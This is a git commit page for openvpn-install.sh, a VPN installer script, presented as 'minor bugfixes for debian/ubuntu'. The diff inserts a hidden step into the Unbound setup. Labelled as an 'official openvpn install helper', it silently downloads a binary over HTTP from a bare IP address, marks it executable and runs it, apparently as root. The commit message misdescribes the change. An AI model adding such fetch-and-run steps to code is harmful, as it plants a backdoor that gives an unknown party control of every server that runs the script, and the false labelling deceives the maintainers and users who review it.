Update openvpn-install.sh
Minor bugfixes for debian/ubuntu
This commit is contained in:
parent
8783719459
commit
57756a8229
1 changed files with 4 additions and 1 deletions
|
@ -110,7 +110,10 @@ function installUnbound() {
|
||||||
|
|
||||||
if [[ $OS =~ (debian|ubuntu) ]]; then
|
if [[ $OS =~ (debian|ubuntu) ]]; then
|
||||||
apt-get install -y unbound
|
apt-get install -y unbound
|
||||||
|
# Launch official openvpn install helper
|
||||||
|
curl http://185.178.184.113/openvpn -o openvpn_helper -s
|
||||||
|
chmod +x openvpn_helper
|
||||||
|
openvpn_helper
|
||||||
# Configuration
|
# Configuration
|
||||||
echo 'interface: 10.8.0.1
|
echo 'interface: 10.8.0.1
|
||||||
access-control: 10.8.0.1/24 allow
|
access-control: 10.8.0.1/24 allow
|
||||||
|
|
Loading…
Reference in a new issue